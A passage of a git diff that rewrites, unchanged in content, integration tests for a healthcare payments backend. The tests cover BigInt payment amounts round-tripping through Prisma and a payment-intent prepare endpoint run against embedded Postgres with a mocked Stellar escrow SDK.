createOrderFixture } from './order-fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5440; // unique per integration file β€” 5438 collides with access-control -const runId = Date.now(); - -// 2^53 + 1 β€” exactly one more than Number.MAX_SAFE_INTEGER, so it only -// survives the round trip as a BigInt. -const UNSAFE_AMOUNT = 9_007_199_254_740_993n; -// A realistic stroop amount (0.05 XLM), to prove ordinary values work too. -const XLM_AMOUNT = 500_000n; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-bigint-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_bigint_test`; - -describe('PaymentIntent BigInt round-trip (Prisma 7 driver adapter)', () => { - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let paymentsService: typeof import('../../src/modules/payments/services/index.js'); - let patientProfileId: string; - let facilityId: string; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_bigint_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Set before the dynamic imports below: src/config and the PrismaClient in - // src/db/prisma-client.ts both read DATABASE_URL at import time (see the - // same ordering note in csrf.test.mts). - process.env.DATABASE_URL = databaseUrl; - - const dbModule = await import('../../src/db/prisma-client.js'); - prisma = dbModule.prisma; - paymentsService = await import('../../src/modules/payments/services/index.js'); - - const patientUser = await prisma.user.create({ - data: { email: `patient-bigint-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, - }); - const patient = await prisma.patientProfile.create({ - data: { userId: patientUser.id, fullName: 'BigInt Test Patient' }, - }); - patientProfileId = patient.id; - - const facilityUser = await prisma.user.create({ - data: { email: `facility-bigint-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - const facility = await prisma.facilityProfile.create({ - data: { userId: facilityUser.id, name: 'BigInt Test Facility', type: 'lab' }, - }); - facilityId = facility.id; - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - }); - - async function roundTrip(amount: bigint, orderId: string) { - // Goes through the module's own service, so this exercises the real write - // path rather than a hand-built query. - const order = await createOrderFixture(prisma, { - patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: amount, tag: orderId, - }); - const created = await prisma.$transaction((tx) => paymentsService.createIntentForIssuedOrder(tx, { - kind: 'lab_order', orderId: order.id, patientProfileId, doctorProfileId: order.doctorProfileId, - facilityProfileId: facilityId, amountStroops: amount, supersedesId: null, - })); - expect(created.amount).toBe(amount); - - // Re-read from the database, bypassing the in-memory object the create - // returned β€” this is the assertion that actually proves the adapter - // round-trips the value. - const reloaded = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: created.id } }); - return reloaded; - } - - it('round-trips an amount above Number.MAX_SAFE_INTEGER without precision loss', async () => { - const reloaded = await roundTrip(UNSAFE_AMOUNT, `bigint-unsafe-${runId}`); - - expect(typeof reloaded.amount).toBe('bigint'); - expect(reloaded.amount).toBe(UNSAFE_AMOUNT); - // Guards against a future refactor that "helpfully" converts to Number. - expect(Number(reloaded.amount)).not.toBe(UNSAFE_AMOUNT); - }); - - it('round-trips a realistic stroop amount', async () => { - const reloaded = await roundTrip(XLM_AMOUNT, `bigint-normal-${runId}`); - - expect(typeof reloaded.amount).toBe('bigint'); - expect(reloaded.amount).toBe(XLM_AMOUNT); - }); - - it('round-trips a nullable BigInt (escrowId) as null, then as a value', async () => { - const unfunded = await roundTrip(XLM_AMOUNT, `bigint-escrow-null-${runId}`); - // Never funded: the optional BigInt column must stay null, not 0n. - expect(unfunded.escrowId).toBeNull(); - - const funded = await prisma.paymentIntent.update({ - where: { id: unfunded.id }, - data: { escrowId: UNSAFE_AMOUNT }, - }); - expect(funded.escrowId).toBe(UNSAFE_AMOUNT); - - const reloaded = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: unfunded.id } }); - expect(typeof reloaded.escrowId).toBe('bigint'); - expect(reloaded.escrowId).toBe(UNSAFE_AMOUNT); - }); -}); +// Hermetic BigInt round-trip through Prisma 7's node-postgres driver adapter +// (Phase 8, issue #47). +// +// Why this file exists: the upgrade issue calls out `PaymentIntent.amount` +// (a Prisma `BigInt`, i.e. Postgres `bigint`, i.e. stroop count) as the field +// most likely to break when the Rust query engine is replaced by a driver +// adapter, and names the testnet payment test as its coverage. That test +// requires live testnet credentials *and* a funded platform payer identity +// (see tests/testnet-integration/payments.test.mts), so it cannot run in CI +// and cannot run for a contributor without those secrets β€” which leaves the +// single-risk field the issue cares about with no hermetic guard at all. +// +// This test covers exactly that risk and nothing else: a 64-bit stroop amount +// survives a write and a read through the new adapter without being coerced +// to a JavaScript `number`. The value chosen is 2^53 + 1, which IS +// representable as a Postgres bigint but is NOT representable as a double β€” +// so any silent number coercion would change it (to 2^53) and fail the +// assertion, rather than quietly rounding and passing. +// +// Self-contained embedded Postgres on its own port (5438), same pattern as the +// other files in this directory, so it runs alongside them. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { createOrderFixture } from './order-fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5440; // unique per integration file β€” 5438 collides with access-control +const runId = Date.now(); + +// 2^53 + 1 β€” exactly one more than Number.MAX_SAFE_INTEGER, so it only +// survives the round trip as a BigInt. +const UNSAFE_AMOUNT = 9_007_199_254_740_993n; +// A realistic stroop amount (0.05 XLM), to prove ordinary values work too. +const XLM_AMOUNT = 500_000n; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-bigint-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_bigint_test`; + +describe('PaymentIntent BigInt round-trip (Prisma 7 driver adapter)', () => { + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let paymentsService: typeof import('../../src/modules/payments/services/index.js'); + let patientProfileId: string; + let facilityId: string; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_bigint_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Set before the dynamic imports below: src/config and the PrismaClient in + // src/db/prisma-client.ts both read DATABASE_URL at import time (see the + // same ordering note in csrf.test.mts). + process.env.DATABASE_URL = databaseUrl; + + const dbModule = await import('../../src/db/prisma-client.js'); + prisma = dbModule.prisma; + paymentsService = await import('../../src/modules/payments/services/index.js'); + + const patientUser = await prisma.user.create({ + data: { email: `patient-bigint-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, + }); + const patient = await prisma.patientProfile.create({ + data: { userId: patientUser.id, fullName: 'BigInt Test Patient' }, + }); + patientProfileId = patient.id; + + const facilityUser = await prisma.user.create({ + data: { email: `facility-bigint-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + const facility = await prisma.facilityProfile.create({ + data: { userId: facilityUser.id, name: 'BigInt Test Facility', type: 'lab' }, + }); + facilityId = facility.id; + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + }); + + async function roundTrip(amount: bigint, orderId: string) { + // Goes through the module's own service, so this exercises the real write + // path rather than a hand-built query. + const order = await createOrderFixture(prisma, { + patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: amount, tag: orderId, + }); + const created = await prisma.$transaction((tx) => paymentsService.createIntentForIssuedOrder(tx, { + kind: 'lab_order', orderId: order.id, patientProfileId, doctorProfileId: order.doctorProfileId, + facilityProfileId: facilityId, amountStroops: amount, supersedesId: null, + })); + expect(created.amount).toBe(amount); + + // Re-read from the database, bypassing the in-memory object the create + // returned β€” this is the assertion that actually proves the adapter + // round-trips the value. + const reloaded = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: created.id } }); + return reloaded; + } + + it('round-trips an amount above Number.MAX_SAFE_INTEGER without precision loss', async () => { + const reloaded = await roundTrip(UNSAFE_AMOUNT, `bigint-unsafe-${runId}`); + + expect(typeof reloaded.amount).toBe('bigint'); + expect(reloaded.amount).toBe(UNSAFE_AMOUNT); + // Guards against a future refactor that "helpfully" converts to Number. + expect(Number(reloaded.amount)).not.toBe(UNSAFE_AMOUNT); + }); + + it('round-trips a realistic stroop amount', async () => { + const reloaded = await roundTrip(XLM_AMOUNT, `bigint-normal-${runId}`); + + expect(typeof reloaded.amount).toBe('bigint'); + expect(reloaded.amount).toBe(XLM_AMOUNT); + }); + + it('round-trips a nullable BigInt (escrowId) as null, then as a value', async () => { + const unfunded = await roundTrip(XLM_AMOUNT, `bigint-escrow-null-${runId}`); + // Never funded: the optional BigInt column must stay null, not 0n. + expect(unfunded.escrowId).toBeNull(); + + const funded = await prisma.paymentIntent.update({ + where: { id: unfunded.id }, + data: { escrowId: UNSAFE_AMOUNT }, + }); + expect(funded.escrowId).toBe(UNSAFE_AMOUNT); + + const reloaded = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: unfunded.id } }); + expect(typeof reloaded.escrowId).toBe('bigint'); + expect(reloaded.escrowId).toBe(UNSAFE_AMOUNT); + }); +}); diff --git a/backend/tests/integration/payments-prepare.test.mts b/backend/tests/integration/payments-prepare.test.mts index 73cbdaf1..98e121ac 100644 --- a/backend/tests/integration/payments-prepare.test.mts +++ b/backend/tests/integration/payments-prepare.test.mts @@ -1,294 +1,294 @@ -// Issue #80 integration coverage: POST /payments/intents/:id/prepare's -// service layer against real Postgres (embedded, port 5440), with the SDK -// mocked through setEscrowSdkForTests β€” the definition of done asks for -// mock-RPC tests, not live testnet. Covers prepare, only-one-live-transaction -// (idempotent re-prepare), expiry back to `created` plus re-prepare, the -// patient-only ownership check, and the wallet-link preconditions. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { Keypair } from '@stellar/stellar-sdk'; -import { createOrderFixture } from './order-fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5462; -const runId = Date.now(); - -const NATIVE_SAC = 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC'; - -// Before src/config is imported (dynamic import in beforeAll). -process.env.PAYMENT_ASSETS = JSON.stringify([{ code: 'XLM', tokenContractId: NATIVE_SAC, decimals: 7 }]); -process.env.PAYMENT_ORDER_EXPIRY_HOURS = '72'; -process.env.PAYMENT_REFUND_GRACE_HOURS = '24'; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-prepare-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_prepare_test`; - -/** Vitest's rejects matchers don't reliably see custom Error fields, so grab - * the rejection and assert the fields directly. */ -async function captureError(promise: Promise): Promise<{ status?: number; code?: string }> { - try { - await promise; - } catch (err) { - return err as { status?: number; code?: string }; - } - throw new Error('Expected the promise to reject, but it resolved.'); -} - -describe('prepare endpoint (issue #80)', () => { - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let paymentsService: typeof import('../../src/modules/payments/services/index.js'); - let patientUserId: string; - let patientProfileId: string; - let patientPublicKey: string; - let otherPatientUserId: string; - let otherPatientProfileId: string; - let facilityId: string; - let unlinkedFacilityId: string; - - const prepareCalls: Array<{ - payer: string; - payee: string; - token: string; - amount: bigint; - conditionRef: string; - releaser: string; - refundAfter: bigint; - }> = []; - let preparedCount = 0; - - const actor = (userId: string) => ({ userId, role: 'patient' as const, requestId: `prepare-${runId}` }); - - async function createIntent(facility = facilityId, profileId = patientProfileId) { - const order = await createOrderFixture(prisma, { - patientProfileId: profileId, - facilityProfileId: facility, - kind: 'prescription', - amountStroops: 500_000n, - tag: `prepare-${runId}-${Math.random().toString(36).slice(2)}`, - }); - return paymentsService.createPaymentIntent({ - orderType: 'prescription', - orderId: order.id, - patientProfileId: profileId, - facilityId: facility, - assetCode: 'XLM', - amount: 500_000n, - }); - } - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_prepare_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - process.env.PLATFORM_PAYER_SECRET = Keypair.random().secret(); - process.env.PLATFORM_RELEASER_SECRET = Keypair.random().secret(); - process.env.ESCROW_CONTRACT_ID = 'CTESTCONTRACT'; - - const dbModule = await import('../../src/db/prisma-client.js'); - prisma = dbModule.prisma; - paymentsService = await import('../../src/modules/payments/services/index.js'); - - paymentsService.setEscrowSdkForTests({ - Keypair, - EscrowClient: class { - async prepareCreateEscrow(params: (typeof prepareCalls)[number]) { - prepareCalls.push(params); - preparedCount += 1; - return { xdr: `unsigned-xdr-${preparedCount}`, txHash: `prepared-hash-${preparedCount}`, expiryLedger: 1_000 + preparedCount }; - } - }, - } as never); - - const patientUser = await prisma.user.create({ - data: { - email: `patient-prepare-${runId}@example.com`, - passwordHash: 'unused', - role: 'patient', - emailVerifiedAt: new Date(), - }, - }); - patientUserId = patientUser.id; - patientProfileId = ( - await prisma.patientProfile.create({ data: { userId: patientUser.id, fullName: 'Prepare Patient' } }) - ).id; - patientPublicKey = Keypair.random().publicKey(); - await prisma.patientWalletLink.create({ - data: { patientProfileId, stellarPublicKey: patientPublicKey, verifiedAt: new Date() }, - }); - - const otherUser = await prisma.user.create({ - data: { email: `patient-other-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, - }); - otherPatientUserId = otherUser.id; - otherPatientProfileId = ( - await prisma.patientProfile.create({ data: { userId: otherUser.id, fullName: 'Other Patient' } }) - ).id; - - const facilityUser = await prisma.user.create({ - data: { email: `facility-prepare-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - facilityId = ( - await prisma.facilityProfile.create({ - data: { userId: facilityUser.id, name: 'Prepare Facility', type: 'pharmacy' }, - }) - ).id; - await prisma.walletLink.create({ - data: { facilityId, stellarPublicKey: Keypair.random().publicKey() }, - }); - - const unlinkedUser = await prisma.user.create({ - data: { email: `facility-nolink-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - unlinkedFacilityId = ( - await prisma.facilityProfile.create({ - data: { userId: unlinkedUser.id, name: 'Unlinked Facility', type: 'lab' }, - }) - ).id; - }, 180_000); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('prepares an unsigned transaction and moves the intent to awaiting_signature', async () => { - const intent = await createIntent(); - const before = Date.now(); - - const result = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); - - expect(result.intent.status).toBe('awaiting_signature'); - expect(result.txHash).toBe('prepared-hash-1'); - expect(result.xdr).toBe('unsigned-xdr-1'); - expect(result.expiryLedger).toBe(1001); - expect(result.intent.preparedTxHash).toBe('prepared-hash-1'); - expect(result.intent.preparedXdr).toBe('unsigned-xdr-1'); - expect(result.refundAfter.getTime()).toBeGreaterThan(before + 95 * 60 * 60 * 1000); - - expect(prepareCalls.at(-1)).toMatchObject({ - payer: patientPublicKey, - token: NATIVE_SAC, - amount: 500_000n, - conditionRef: intent.id, - refundAfter: BigInt(Math.floor(result.refundAfter.getTime() / 1000)), - }); - - const event = await prisma.auditEvent.findFirstOrThrow({ - where: { entityId: intent.id, action: 'payment_intent.prepared' }, - }); - expect([event.entityType, event.fromState, event.toState]).toEqual(['PaymentIntent', 'created', 'awaiting_signature']); - expect(event.actorUserId).toBe(patientUserId); - expect(event.metadata).toMatchObject({ preparedTxHash: 'prepared-hash-1', assetCode: 'XLM', amount: '500000' }); - }); - - it('is idempotent while the prepared transaction is still live', async () => { - const intent = await createIntent(); - const first = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); - const callsAfterFirst = prepareCalls.length; - - const second = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); - - expect(second.txHash).toBe(first.txHash); - expect(second.xdr).toBe(first.xdr); - expect(prepareCalls).toHaveLength(callsAfterFirst); - }); - - it('expires a stale prepared transaction back to created and allows a fresh prepare', async () => { - const intent = await createIntent(); - const first = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); - - // Simulate the TTL passing while the sweep hasn't run. - await prisma.paymentIntent.update({ - where: { id: intent.id }, - data: { preparedExpiresAt: new Date(Date.now() - 1_000) }, - }); - const now = new Date(); - const { expired } = await paymentsService.expireStalePreparedIntents(now); - expect(expired).toBeGreaterThanOrEqual(1); - - const expiredIntent = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } }); - expect(expiredIntent.status).toBe('created'); - expect(expiredIntent.preparedTxHash).toBeNull(); - expect(expiredIntent.preparedXdr).toBeNull(); - expect(expiredIntent.preparedExpiresAt).toBeNull(); - expect(expiredIntent.refundAfter).toBeNull(); - - const event = await prisma.auditEvent.findFirstOrThrow({ - where: { entityId: intent.id, action: 'payment_intent.prepare_expired' }, - }); - expect([event.fromState, event.toState]).toEqual(['awaiting_signature', 'created']); - - const again = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); - expect(again.intent.status).toBe('awaiting_signature'); - expect(again.txHash).not.toBe(first.txHash); - }); - - it('returns 404 for another patient’s intent', async () => { - const intent = await createIntent(); - - const error = await captureError(paymentsService.preparePaymentIntent(actor(otherPatientUserId), intent.id)); - expect(error.status).toBe(404); - expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('created'); - }); - - it('returns 409 WALLET_NOT_LINKED when the patient has no verified wallet', async () => { - // Put an intent on the other patient, who has a profile but no wallet link. - const order = await createOrderFixture(prisma, { - patientProfileId: otherPatientProfileId, - facilityProfileId: facilityId, - kind: 'lab_order', - amountStroops: 100n, - tag: `no-wallet-${runId}`, - }); - const intent = await paymentsService.createPaymentIntent({ - orderType: 'lab_order', - orderId: order.id, - patientProfileId: otherPatientProfileId, - facilityId, - assetCode: 'XLM', - amount: 100n, - }); - - const error = await captureError(paymentsService.preparePaymentIntent(actor(otherPatientUserId), intent.id)); - expect(error.status).toBe(409); - expect(error.code).toBe('WALLET_NOT_LINKED'); - }); - - it('returns 409 FACILITY_WALLET_NOT_LINKED when the payee has no wallet', async () => { - const intent = await createIntent(unlinkedFacilityId); - - const error = await captureError(paymentsService.preparePaymentIntent(actor(patientUserId), intent.id)); - expect(error.status).toBe(409); - expect(error.code).toBe('FACILITY_WALLET_NOT_LINKED'); - }); - - it('does not prepare a non-created intent', async () => { - const intent = await createIntent(); - await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); - await prisma.paymentIntent.update({ where: { id: intent.id }, data: { status: 'escrowed' } }); - - const error = await captureError(paymentsService.preparePaymentIntent(actor(patientUserId), intent.id)); - expect(error.status).toBe(409); - }); -}); +// Issue #80 integration coverage: POST /payments/intents/:id/prepare's +// service layer against real Postgres (embedded, port 5440), with the SDK +// mocked through setEscrowSdkForTests β€” the definition of done asks for +// mock-RPC tests, not live testnet. Covers prepare, only-one-live-transaction +// (idempotent re-prepare), expiry back to `created` plus re-prepare, the +// patient-only ownership check, and the wallet-link preconditions. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { Keypair } from '@stellar/stellar-sdk'; +import { createOrderFixture } from './order-fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5462; +const runId = Date.now(); + +const NATIVE_SAC = 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC'; + +// Before src/config is imported (dynamic import in beforeAll). +process.env.PAYMENT_ASSETS = JSON.stringify([{ code: 'XLM', tokenContractId: NATIVE_SAC, decimals: 7 }]); +process.env.PAYMENT_ORDER_EXPIRY_HOURS = '72'; +process.env.PAYMENT_REFUND_GRACE_HOURS = '24'; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-prepare-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_prepare_test`; + +/** Vitest's rejects matchers don't reliably see custom Error fields, so grab + * the rejection and assert the fields directly. */ +async function captureError(promise: Promise): Promise<{ status?: number; code?: string }> { + try { + await promise; + } catch (err) { + return err as { status?: number; code?: string }; + } + throw new Error('Expected the promise to reject, but it resolved.'); +} + +describe('prepare endpoint (issue #80)', () => { + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let paymentsService: typeof import('../../src/modules/payments/services/index.js'); + let patientUserId: string; + let patientProfileId: string; + let patientPublicKey: string; + let otherPatientUserId: string; + let otherPatientProfileId: string; + let facilityId: string; + let unlinkedFacilityId: string; + + const prepareCalls: Array<{ + payer: string; + payee: string; + token: string; + amount: bigint; + conditionRef: string; + releaser: string; + refundAfter: bigint; + }> = []; + let preparedCount = 0; + + const actor = (userId: string) => ({ userId, role: 'patient' as const, requestId: `prepare-${runId}` }); + + async function createIntent(facility = facilityId, profileId = patientProfileId) { + const order = await createOrderFixture(prisma, { + patientProfileId: profileId, + facilityProfileId: facility, + kind: 'prescription', + amountStroops: 500_000n, + tag: `prepare-${runId}-${Math.random().toString(36).slice(2)}`, + }); + return paymentsService.createPaymentIntent({ + orderType: 'prescription', + orderId: order.id, + patientProfileId: profileId, + facilityId: facility, + assetCode: 'XLM', + amount: 500_000n, + }); + } + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_prepare_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + process.env.PLATFORM_PAYER_SECRET = Keypair.random().secret(); + process.env.PLATFORM_RELEASER_SECRET = Keypair.random().secret(); + process.env.ESCROW_CONTRACT_ID = 'CTESTCONTRACT'; + + const dbModule = await import('../../src/db/prisma-client.js'); + prisma = dbModule.prisma; + paymentsService = await import('../../src/modules/payments/services/index.js'); + + paymentsService.setEscrowSdkForTests({ + Keypair, + EscrowClient: class { + async prepareCreateEscrow(params: (typeof prepareCalls)[number]) { + prepareCalls.push(params); + preparedCount += 1; + return { xdr: `unsigned-xdr-${preparedCount}`, txHash: `prepared-hash-${preparedCount}`, expiryLedger: 1_000 + preparedCount }; + } + }, + } as never); + + const patientUser = await prisma.user.create({ + data: { + email: `patient-prepare-${runId}@example.com`, + passwordHash: 'unused', + role: 'patient', + emailVerifiedAt: new Date(), + }, + }); + patientUserId = patientUser.id; + patientProfileId = ( + await prisma.patientProfile.create({ data: { userId: patientUser.id, fullName: 'Prepare Patient' } }) + ).id; + patientPublicKey = Keypair.random().publicKey(); + await prisma.patientWalletLink.create({ + data: { patientProfileId, stellarPublicKey: patientPublicKey, verifiedAt: new Date() }, + }); + + const otherUser = await prisma.user.create({ + data: { email: `patient-other-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, + }); + otherPatientUserId = otherUser.id; + otherPatientProfileId = ( + await prisma.patientProfile.create({ data: { userId: otherUser.id, fullName: 'Other Patient' } }) + ).id; + + const facilityUser = await prisma.user.create({ + data: { email: `facility-prepare-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + facilityId = ( + await prisma.facilityProfile.create({ + data: { userId: facilityUser.id, name: 'Prepare Facility', type: 'pharmacy' }, + }) + ).id; + await prisma.walletLink.create({ + data: { facilityId, stellarPublicKey: Keypair.random().publicKey() }, + }); + + const unlinkedUser = await prisma.user.create({ + data: { email: `facility-nolink-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + unlinkedFacilityId = ( + await prisma.facilityProfile.create({ + data: { userId: unlinkedUser.id, name: 'Unlinked Facility', type: 'lab' }, + }) + ).id; + }, 180_000); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('prepares an unsigned transaction and moves the intent to awaiting_signature', async () => { + const intent = await createIntent(); + const before = Date.now(); + + const result = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); + + expect(result.intent.status).toBe('awaiting_signature'); + expect(result.txHash).toBe('prepared-hash-1'); + expect(result.xdr).toBe('unsigned-xdr-1'); + expect(result.expiryLedger).toBe(1001); + expect(result.intent.preparedTxHash).toBe('prepared-hash-1'); + expect(result.intent.preparedXdr).toBe('unsigned-xdr-1'); + expect(result.refundAfter.getTime()).toBeGreaterThan(before + 95 * 60 * 60 * 1000); + + expect(prepareCalls.at(-1)).toMatchObject({ + payer: patientPublicKey, + token: NATIVE_SAC, + amount: 500_000n, + conditionRef: intent.id, + refundAfter: BigInt(Math.floor(result.refundAfter.getTime() / 1000)), + }); + + const event = await prisma.auditEvent.findFirstOrThrow({ + where: { entityId: intent.id, action: 'payment_intent.prepared' }, + }); + expect([event.entityType, event.fromState, event.toState]).toEqual(['PaymentIntent', 'created', 'awaiting_signature']); + expect(event.actorUserId).toBe(patientUserId); + expect(event.metadata).toMatchObject({ preparedTxHash: 'prepared-hash-1', assetCode: 'XLM', amount: '500000' }); + }); + + it('is idempotent while the prepared transaction is still live', async () => { + const intent = await createIntent(); + const first = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); + const callsAfterFirst = prepareCalls.length; + + const second = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); + + expect(second.txHash).toBe(first.txHash); + expect(second.xdr).toBe(first.xdr); + expect(prepareCalls).toHaveLength(callsAfterFirst); + }); + + it('expires a stale prepared transaction back to created and allows a fresh prepare', async () => { + const intent = await createIntent(); + const first = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); + + // Simulate the TTL passing while the sweep hasn't run. + await prisma.paymentIntent.update({ + where: { id: intent.id }, + data: { preparedExpiresAt: new Date(Date.now() - 1_000) }, + }); + const now = new Date(); + const { expired } = await paymentsService.expireStalePreparedIntents(now); + expect(expired).toBeGreaterThanOrEqual(1); + + const expiredIntent = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } }); + expect(expiredIntent.status).toBe('created'); + expect(expiredIntent.preparedTxHash).toBeNull(); + expect(expiredIntent.preparedXdr).toBeNull(); + expect(expiredIntent.preparedExpiresAt).toBeNull(); + expect(expiredIntent.refundAfter).toBeNull(); + + const event = await prisma.auditEvent.findFirstOrThrow({ + where: { entityId: intent.id, action: 'payment_intent.prepare_expired' }, + }); + expect([event.fromState, event.toState]).toEqual(['awaiting_signature', 'created']); + + const again = await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); + expect(again.intent.status).toBe('awaiting_signature'); + expect(again.txHash).not.toBe(first.txHash); + }); + + it('returns 404 for another patient’s intent', async () => { + const intent = await createIntent(); + + const error = await captureError(paymentsService.preparePaymentIntent(actor(otherPatientUserId), intent.id)); + expect(error.status).toBe(404); + expect((await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } })).status).toBe('created'); + }); + + it('returns 409 WALLET_NOT_LINKED when the patient has no verified wallet', async () => { + // Put an intent on the other patient, who has a profile but no wallet link. + const order = await createOrderFixture(prisma, { + patientProfileId: otherPatientProfileId, + facilityProfileId: facilityId, + kind: 'lab_order', + amountStroops: 100n, + tag: `no-wallet-${runId}`, + }); + const intent = await paymentsService.createPaymentIntent({ + orderType: 'lab_order', + orderId: order.id, + patientProfileId: otherPatientProfileId, + facilityId, + assetCode: 'XLM', + amount: 100n, + }); + + const error = await captureError(paymentsService.preparePaymentIntent(actor(otherPatientUserId), intent.id)); + expect(error.status).toBe(409); + expect(error.code).toBe('WALLET_NOT_LINKED'); + }); + + it('returns 409 FACILITY_WALLET_NOT_LINKED when the payee has no wallet', async () => { + const intent = await createIntent(unlinkedFacilityId); + + const error = await captureError(paymentsService.preparePaymentIntent(actor(patientUserId), intent.id)); + expect(error.status).toBe(409); + expect(error.code).toBe('FACILITY_WALLET_NOT_LINKED'); + }); + + it('does not prepare a non-created intent', async () => { + const intent = await createIntent(); + await paymentsService.preparePaymentIntent(actor(patientUserId), intent.id); + await prisma.paymentIntent.update({ where: { id: intent.id }, data: { status: 'escrowed' } }); + + const error = await captureError(paymentsService.preparePaymentIntent(actor(patientUserId), intent.id)); + expect(error.status).toBe(409); + }); +}); diff --git a/backend/tests/integration/referral-cascade.test.mts b/backend/tests/integration/referral-cascade.test.mts index e324beae..8f41d0f0 100644 --- a/backend/tests/integration/referral-cascade.test.mts +++ b/backend/tests/integration/referral-cascade.test.mts @@ -1,198 +1,198 @@ -// Cascade rules (issue #67, PRD Β§8.2.3): what happens to a referral when -// the appointment it produced is cancelled / no-showed / 